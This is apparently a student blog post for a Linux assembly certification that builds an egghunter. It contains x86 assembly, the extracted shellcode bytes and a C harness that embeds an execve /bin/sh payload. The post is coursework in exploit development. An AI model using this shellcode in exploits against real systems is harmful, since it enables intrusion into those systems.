SLAE- Assignment #3- EggHunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

SLAE #1488
Author: Aaron Weathersby
Handle: t0b0rx0r
github: https://github.com/t0b0rX0r/slae/tree/master/assignment3

The objective of this assignment was to create a working egghunter POC. While i’ve used egg hunters before (MUTTS, immunity, etc) I’ve never given it much thought on how it worked beyond a generic it searched memory for the identifer that I provided it. To complete this assignment I had to think about how an egghunter could work and build it.

Using my knowledge from the OSCP and my yet to be finished OSCE I went about trying to construct the following

Pseudo Code
memory = beginning of stack
If  memory !=sigfault(is it readable?) then
{
do (){
If memory = Egg then execute
If memory != Egg then memory++
} while memory != top of stack
}

I found the following memory diagram to guide my endaveors

Using this basic information i went about trying to construct an EggHunter.

First I attempted to read the current location of memory

mov ebx,esp ;move current (i.e. start to ebx)

xor eax,eax  ; clear out eax

Then I attempted check this memory using a trick I found another website to use sigaction as a way to see if the memory is readable. Basically if the sys call returns an 0xf2 the memory location is not readable.

mem:
	
	inc  ebx ;increment counter
	mov  eax,67 ; sigaction
	mov ecx,ebx ; save counter to sigaction
	int 0x80 ; run sigaction
	

Using a series of funciton calls i then proceeded to check this memory location to a value (egg).

cmp al, 0xf2 ; see if a sigfault was return
je page ; jump to function to increment page by 4096

If the value was my egg I proceeded to increment my stack counter and check it again.

search1:	
	; woring --cmp dword [esi],41414141 ;esi
	cmp dword [ebx],0x41414141  ; compare counter to egg value
	jne  mem ; if compare is not equal jump to increment memory
	inc ebx;edi;ebx ; inc counter
	jmp search2 ;search for egg a second time

If the value was not found a second time i repeated the process. If the value was found I proceeded to call my egg.

search2:	
	cmp dword [ebx],0x41414141  ; compare counter to egg value
	jne  mem ; if compare is not equal jump to increment memory
	inc ebx;edi;ebx ; inc counter
	;assuming we found it, proceed to display that we found it!

As my egg was a series of \x41\x41\x41\x41 I proceed to call it directly as opposed to incrementing another word value to call the payload directly. While I realize that a series of 4 A’s isnt exactly unique it worked for the purposes of this assignment. In a production setting i would likely use something like W00TW00T that would be more unique.

Using objdump I pulled out the machine code of my egghunter .

objdump -d ./slae-egghunter_orginal|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x89\xe3\x31\xc0\x89\xe6\x89\xe7\x43\xb8\x43\x00\x00\x00\x89\xd9\xcd\x80\x3c\xf2\x74\x36\x81\x3b\x41\x41\x41\x41\x75\xea\x43\xeb\x00\x81\x3b\x41\x41\x41\x41\x75\xdf\x43\x89\xde\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x41\x91\x04\x08\xba\x0b\x00\x00\x00\xcd\x80\xff\xe6\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\x81\xc7\xff\x0f\x00\x00\x81\xc3\xff\x0f\x00\x00\xeb\x96\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\xcd\x80"

I then created a C program to host my assembly and provide an easy way to replace the payload for testing.

#include<stdio.h>
#include<string.h>
//Author: Aaron Weathersby
//SLAE #1488
//Handle: t0b0x0r
//github:https://github.com/t0b0rX0r/slae/upload/master/assignment3
//;Assignment #3- Egghunter
//created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

unsigned char code[] = \
"\x89\xe3\x31\xc0\x89\xe6\x89\xe7\x43\xb8\x43\x00\x00\x00\x89\xd9\xcd\x80\x3c\xf2\x74\x36\x81\x3b\x41\x41\x41\x41\x75\xea\x43\xeb\x00\x81\x3b\x41\x41\x41\x41\x75\xdf\x43\x89\xde\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x41\x91\x04\x08\xba\x0b\x00\x00\x00\xcd\x80\xff\xe6\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\x81\xc7\xff\x0f\x00\x00\x81\xc3\xff\x0f\x00\x00\xeb\x96\x89\xde\x31\xc0\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x35\x91\x04\x08\xba\x0c\x00\x00\x00\xcd\x80";


unsigned char shell[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; //exec


unsigned char egg[] = "\x41\x41\x41\x41";
main()
{
char buff[100];

	printf("Shellcode Length:  %d\n", strlen(code));	
	printf("Memory location of shellcode: %p\n", buff);

	strcpy(buff, egg); //save the egg
	strcpy(buff+4, egg); //save the egg a second time
	strcpy(buff+8,shell); //payload...exec opcode


	int (*ret)() = (int(*)())code;

	ret();

}

	

After alot…of alot…and alot more trial and error I finally got it work work!

note: the unrecognizable output is a “Found Egg” that i outputted via the assembly…for whatever reason when run from within a C program it does not render…likely due to a casting issue.